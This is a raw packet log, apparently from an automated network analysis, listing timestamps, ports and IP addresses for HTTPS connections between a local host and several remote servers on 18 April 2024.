Apr 18, 2024 00:28:02.408777952 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.429780960 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.429814100 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.429871082 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.429899931 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.429899931 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.429934978 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.429960966 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.429971933 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.430001020 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.459219933 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.459328890 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.459412098 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.459513903 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.459547043 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.459582090 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.459616899 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.459685087 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.459769011 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.459805965 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.459820986 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.459908962 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.459991932 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.460004091 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.460129976 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.460140944 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.460225105 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.460311890 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.460395098 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.460458040 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.460470915 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.460942030 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.461051941 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.461054087 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.461078882 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.461221933 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.461302042 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.461339951 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.461352110 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.461381912 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.461833954 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.461941957 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.461977959 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.461990118 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.462110996 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.462151051 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.462162018 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.462409973 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.462421894 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.462881088 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.462960005 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.462992907 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.463005066 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.463108063 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.463145018 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.463155985 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.463390112 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.463401079 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.463794947 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.463882923 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.463917971 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.463928938 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.464025974 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.464135885 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.464147091 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.464199066 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.464210033 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.464258909 CEST	443	49753	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:02.464376926 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.464376926 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.464442968 CEST	49753	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:02.471385002 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.503475904 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.503503084 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.507287979 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.507319927 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.507363081 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.507381916 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.507425070 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.507435083 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.507452011 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.507477999 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.507606983 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.515620947 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.515671968 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.515711069 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.515746117 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.515764952 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.515811920 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.515855074 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.515885115 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.515896082 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.515912056 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.515944004 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.516459942 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.516490936 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.516496897 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.516509056 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.516619921 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.516633034 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.516863108 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.517009020 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.517060041 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.517091990 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.517123938 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.517184973 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.517185926 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.517200947 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.517940998 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.517985106 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.518022060 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.518057108 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.518089056 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.518095970 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.518115997 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.518147945 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.518841982 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.518898964 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.518932104 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.518944025 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.518989086 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.519097090 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.519109011 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.519188881 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.522531986 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.522943020 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.522974968 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.523000002 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.523005009 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.523031950 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.523185015 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.523190975 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.523332119 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.523355007 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.523359060 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.523399115 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.523443937 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.523454905 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.523458958 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.523510933 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.523536921 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.523560047 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.523602009 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.523626089 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.523629904 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.523653030 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.526407957 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.526469946 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.526513100 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.526530027 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.526561022 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.526700974 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.530582905 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.530692101 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.530705929 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.530756950 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.530855894 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.530857086 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.530874968 CEST	443	49752	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:02.530908108 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.531280994 CEST	49752	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:02.534054995 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.534111023 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.534153938 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.534204006 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.534245014 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.534279108 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.534317970 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.534317970 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.534328938 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.534346104 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.534374952 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.534420967 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.534435034 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.535007954 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.535060883 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.535092115 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.535098076 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.535113096 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.535161972 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.535734892 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.535785913 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.535829067 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.535828114 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.535844088 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.535908937 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.535921097 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.535938025 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.535970926 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.536438942 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.536494017 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.536537886 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.536575079 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.536581993 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.536593914 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.536628962 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.536834002 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.536845922 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.537333012 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.537391901 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.537425995 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.537441015 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.537496090 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.537529945 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.537542105 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.537616968 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.538150072 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.538232088 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.538274050 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.538309097 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.538320065 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.538389921 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.538424969 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.538436890 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.538506031 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.539099932 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.539175987 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.539218903 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.539259911 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.539391994 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.539406061 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.540007114 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.540185928 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.540198088 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.570024967 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.585226059 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.618134022 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.618134022 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.618174076 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.618628979 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.619646072 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.619703054 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.619740009 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.619751930 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.619787931 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.619807959 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.619838953 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.619930029 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.639004946 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.639117002 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.639240980 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.639241934 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.639300108 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.640034914 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.640084028 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.640196085 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.640254021 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.640295982 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.640568018 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.640613079 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.640661001 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.640676022 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.640708923 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.641458035 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.641643047 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.641657114 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.642015934 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.642055988 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.642069101 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.642118931 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.642191887 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.642236948 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.642921925 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.642935991 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.643089056 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.643129110 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.643678904 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.643692017 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.644134998 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.644313097 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.644325018 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.644444942 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.644925117 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.644970894 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.645014048 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.645025969 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.645070076 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.645682096 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.645874977 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.645888090 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.672471046 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.672501087 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.688193083 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.688353062 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.688370943 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.688469887 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.725636005 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.728548050 CEST	49758	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:28:02.728574991 CEST	443	49758	142.250.9.99	192.168.2.4
Apr 18, 2024 00:28:02.728715897 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.728873014 CEST	49758	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:28:02.730431080 CEST	49758	443	192.168.2.4	142.250.9.99
Apr 18, 2024 00:28:02.730468035 CEST	443	49758	142.250.9.99	192.168.2.4
Apr 18, 2024 00:28:02.736411095 CEST	49751	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.736445904 CEST	443	49751	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.740586042 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.740714073 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.740806103 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.740845919 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.740864038 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.740982056 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.740992069 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.741019011 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.741168022 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.741252899 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.741307020 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.741319895 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.741379976 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.741389990 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.741451979 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.741463900 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.741502047 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.741574049 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.741585016 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.741672993 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.741750956 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.741760015 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.741780996 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.741878033 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.741889000 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.741981983 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.742000103 CEST	443	49757	104.17.24.14	192.168.2.4
Apr 18, 2024 00:28:02.742073059 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.742073059 CEST	49757	443	192.168.2.4	104.17.24.14
Apr 18, 2024 00:28:02.743221045 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.743515015 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.743649960 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.743782997 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.743784904 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.743797064 CEST	443	49754	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:02.743861914 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.743861914 CEST	49754	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:02.744471073 CEST	443	49754	172.67.137.170	192.168.2.4
